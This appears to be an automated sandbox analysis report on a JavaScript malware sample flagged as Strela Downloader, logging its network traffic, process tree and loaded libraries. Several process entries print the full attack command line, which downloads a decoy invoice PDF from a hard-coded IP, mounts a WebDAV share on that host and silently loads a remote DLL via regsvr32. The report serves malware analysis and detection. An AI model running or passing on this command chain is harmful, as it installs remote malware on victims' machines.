HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2044345312.000001E0B4A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2105262327.00000283916A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2105450659.00000283916DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2102143657.00000283916FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2104123937.00000283916DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2105450659.00000283916DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2104123937.00000283916DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/G
Source: net.exe, 00000007.00000002.2105262327.00000283916A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/OGONSE
Source: svchost.exe, 00000009.00000002.3343051195.000001A76FA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2104305601.000001A76F870000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5440, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 145332287313130856.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2020:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i535sc1g.qrc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1664,i,16391805749423070974,18443952903317464873,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1664,i,16391805749423070974,18443952903317464873,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
